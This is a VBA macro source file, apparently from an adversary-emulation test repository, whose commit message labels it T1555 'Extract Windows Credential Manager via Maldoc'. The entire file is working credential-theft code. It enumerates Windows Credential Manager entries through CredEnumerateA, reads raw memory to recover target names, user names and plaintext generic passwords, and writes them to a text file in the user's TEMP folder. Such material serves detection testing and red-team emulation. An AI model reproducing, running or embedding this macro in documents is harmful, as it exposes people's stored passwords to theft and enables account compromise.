46b69318c8
* initial push for T1555 (Extract Windows Credential Manager via Maldoc) * updates * updates * update Co-authored-by: avocado <avocados@smuggler.com> Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
157 lines
4.2 KiB
Plaintext
157 lines
4.2 KiB
Plaintext
Private Declare PtrSafe Function CEnumerateA Lib "advapi32.dll" Alias "CredEnumerateA" (ByVal Filter As String, _
|
|
ByVal Flags As Long, _
|
|
ByRef Count As Long, _
|
|
ByRef credential As LongPtr) As Boolean
|
|
|
|
Private Declare PtrSafe Function VarPtrArray Lib "VBE7" Alias "VarPtr" (var() As Any) As LongPtr
|
|
|
|
Public Const CRED_TYPE_GENERIC = &H1
|
|
Public Const CRED_PERSIST_LOCAL_MACHINE = &H2
|
|
|
|
#If Win64 Then
|
|
Public Const PTR_LENGTH As Long = 8
|
|
Public Const PTR_PW_LENGTH As Long = 80
|
|
Public Const PTR_PW_LOC As Long = 88
|
|
#Else
|
|
Public Const PTR_LENGTH As Long = 4
|
|
Public Const PTR_PW_LENGTH As Long = 52
|
|
Public Const PTR_PW_LOC As Long = 56
|
|
#End If
|
|
|
|
Public Declare PtrSafe Sub Mem_Copy Lib "kernel32" Alias "RtlMoveMemory" (ByRef Destination As Any, _
|
|
ByRef Source As Any, _
|
|
ByVal Length As Long)
|
|
|
|
Public Function strReverse_Character_Pairs(ByVal strValue As String) As String
|
|
|
|
Dim lngLoop As Long
|
|
Dim strReturn As String
|
|
|
|
strReturn = ""
|
|
|
|
For lngLoop = Len(strValue) - 1& To 1& Step -2&
|
|
strReturn = strReturn & Mid$(strValue, lngLoop, 2)
|
|
Next lngLoop
|
|
|
|
strReverse_Character_Pairs = strReturn
|
|
End Function
|
|
|
|
Function HexPtr(ByVal Ptr As LongPtr) As String
|
|
HexPtr = Hex$(Ptr)
|
|
HexPtr = String$((PTR_LENGTH * 2) - Len(HexPtr), "0") & HexPtr
|
|
End Function
|
|
|
|
Public Function HexToString(ByVal HexToStr As String) As String
|
|
Dim strTemp As String
|
|
Dim strReturn As String
|
|
Dim k As Long
|
|
|
|
For k = 1 To Len(HexToStr) Step 2
|
|
strTemp = Chr$(Val("&H" & Mid(HexToStr, k, 2)))
|
|
strReturn = strReturn & strTemp
|
|
Next k
|
|
HexToString = Right(strReturn, Len(strReturn))
|
|
End Function
|
|
|
|
Public Function Mem_ReadHex(ByVal Ptr As LongPtr, ByVal Length As Long) As Variant
|
|
Dim bBuffer() As Byte
|
|
Dim strBytes() As String
|
|
Dim I As Long
|
|
Dim ub As Long
|
|
Dim b As Byte
|
|
|
|
ub = Length - 1
|
|
ReDim bBuffer(ub)
|
|
ReDim strBytes(ub)
|
|
Mem_Copy bBuffer(0), ByVal Ptr, Length
|
|
For I = 0 To ub
|
|
b = bBuffer(I)
|
|
strBytes(I) = IIf(b < 16, "0", "") & Hex$(b)
|
|
Next
|
|
|
|
Mem_ReadHex = Join(strBytes, "")
|
|
End Function
|
|
|
|
|
|
Sub Extract()
|
|
|
|
' Control Panel -> Credential Manager -> Windows Credentials
|
|
|
|
Dim name As String
|
|
Dim creds As LongPtr
|
|
Dim dwCount As Long
|
|
|
|
Dim ptrTemp As LongPtr
|
|
Dim ptrArray() As LongPtr
|
|
Dim memArray() As Variant
|
|
|
|
Dim fs As Object
|
|
Dim fPath As String
|
|
|
|
Set fs = CreateObject("Scripting.FileSystemObject")
|
|
fPath = Environ$("TEMP") + "\windows-credentials.txt"
|
|
Set out = fs.CreateTextFile(fPath, True)
|
|
|
|
Dim cnt As Integer
|
|
cnt = 0
|
|
|
|
s = CEnumerateA(vbNullString, 0, dwCount, creds)
|
|
out.WriteLine ("Number of Creds: " & dwCount & vbNewLine)
|
|
|
|
For I = 1 To dwCount
|
|
|
|
ReDim Preserve ptrArray(I)
|
|
ptrTemp = creds + ((I - 1) * PTR_LENGTH)
|
|
Mem_Copy ptrArray(I), ByVal ptrTemp, PTR_LENGTH
|
|
|
|
Next I
|
|
|
|
For I = 1 To UBound(ptrArray)
|
|
TargetName = ""
|
|
UserName = ""
|
|
fnl = ""
|
|
nullCnt = 0
|
|
cnt = 0
|
|
|
|
targetAliasPtr = CDec("&h" & strReverse_Character_Pairs(Mem_ReadHex(ptrArray(I) + 8, PTR_LENGTH)))
|
|
|
|
Do Until nullCnt = 2
|
|
blob = Mem_ReadHex(targetAliasPtr + cnt, 1)
|
|
fnl = fnl + blob
|
|
If blob = "00" Then
|
|
nullCnt = nullCnt + 1
|
|
End If
|
|
cnt = cnt + 1
|
|
Loop
|
|
|
|
arrayOfTargetandUser = Split(HexToString(fnl), vbNullChar)
|
|
|
|
If UBound(arrayOfTargetandUser) > 0 Then
|
|
TargetName = arrayOfTargetandUser(0)
|
|
UserName = arrayOfTargetandUser(1)
|
|
out.WriteLine ("Target Name: " & TargetName)
|
|
out.WriteLine ("User Name: " & UserName)
|
|
Else
|
|
TargetName = arrayOfTargetandUser(0)
|
|
out.WriteLine ("Target Name: " & TargetName)
|
|
End If
|
|
|
|
Flags = Mem_ReadHex(ptrArray(I) + 4, 1)
|
|
If Flags = "01" Then
|
|
' Password Length
|
|
pwLen = CDec("&H" & strReverse_Character_Pairs(Mem_ReadHex(ptrArray(I) + PTR_PW_LENGTH, 4)))
|
|
|
|
' Password as wide hex
|
|
pwd = Replace(Mem_ReadHex(ptrArray(I) + PTR_PW_LOC, pwLen), "00", "")
|
|
out.WriteLine ("Credential Type: Generic")
|
|
out.WriteLine ("Password: " & HexToString(pwd) & vbNewLine)
|
|
|
|
Else
|
|
out.WriteLine ("Credential Type: Windows")
|
|
out.WriteLine ("Password: WINDOWS CREDENTIAL (NULL)" & vbNewLine)
|
|
End If
|
|
Next I
|
|
|
|
out.Close
|
|
|
|
End Sub |